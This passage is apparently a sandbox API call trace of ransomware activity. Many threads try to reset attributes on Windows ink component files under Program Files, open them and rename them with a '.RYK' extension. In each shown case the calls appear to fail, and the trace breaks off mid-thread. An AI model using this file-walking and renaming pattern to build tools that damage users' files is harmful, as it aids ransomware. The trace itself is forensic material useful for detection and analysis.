	[0162.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 203
	os_tid = 0x758

	[0162.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", dwFileAttributes=0x80) returned 0
	[0162.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.884] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 204
	os_tid = 0x6d4

	[0162.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", dwFileAttributes=0x80) returned 0
	[0162.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 205
	os_tid = 0xaf0

	[0162.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", dwFileAttributes=0x80) returned 0
	[0162.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.897] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 206
	os_tid = 0x764

	[0162.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", dwFileAttributes=0x80) returned 0
	[0162.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 207
	os_tid = 0x68c

	[0162.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", dwFileAttributes=0x80) returned 0
	[0162.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.899] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 208
	os_tid = 0xc0

	[0162.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", dwFileAttributes=0x80) returned 0
	[0162.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.904] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 209
	os_tid = 0x3a4

	[0162.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", dwFileAttributes=0x80) returned 0
	[0162.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 210
	os_tid = 0x814

	[0162.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", dwFileAttributes=0x80) returned 0
	[0162.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.907] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 211
	os_tid = 0x824

	[0162.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", dwFileAttributes=0x80) returned 0
	[0162.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 212
	os_tid = 0x804

	[0162.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", dwFileAttributes=0x80) returned 0
	[0162.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 213
	os_tid = 0x7f4

	[0162.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", dwFileAttributes=0x80) returned 0
	[0162.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.916] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 214
	os_tid = 0x54c

	[0162.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", dwFileAttributes=0x80) returned 0
	[0162.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 215
	os_tid = 0x694

	[0162.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", dwFileAttributes=0x80) returned 0
	[0162.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.929] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 216
	os_tid = 0x47c

	[0162.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", dwFileAttributes=0x80) returned 0
	[0162.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 217
	os_tid = 0x678

	[0162.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", dwFileAttributes=0x80) returned 0
	[0162.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 218
	os_tid = 0x5ac

	[0162.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", dwFileAttributes=0x80) returned 0
	[0162.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 219
	os_tid = 0x8e8

	[0162.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", dwFileAttributes=0x80) returned 0
	[0162.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 220
	os_tid = 0x8c8

	[0162.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", dwFileAttributes=0x80) returned 0
	[0162.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 221
	os_tid = 0x9dc

	[0162.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", dwFileAttributes=0x80) returned 0
	[0162.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 222
	os_tid = 0xbb4

	[0162.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", dwFileAttributes=0x80) returned 0
	[0162.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 223
	os_tid = 0x9ac

	[0162.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", dwFileAttributes=0x80) returned 0
	[0162.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.950] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 224
	os_tid = 0x74c

	[0162.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", dwFileAttributes=0x80) returned 0
	[0162.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.958] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 225
	os_tid = 0x560

	[0162.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", dwFileAttributes=0x80) returned 0
	[0162.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 226
	os_tid = 0x9cc

	[0162.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", dwFileAttributes=0x80) returned 0
	[0162.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.965] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 227
	os_tid = 0x684

	[0163.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", dwFileAttributes=0x80) returned 0
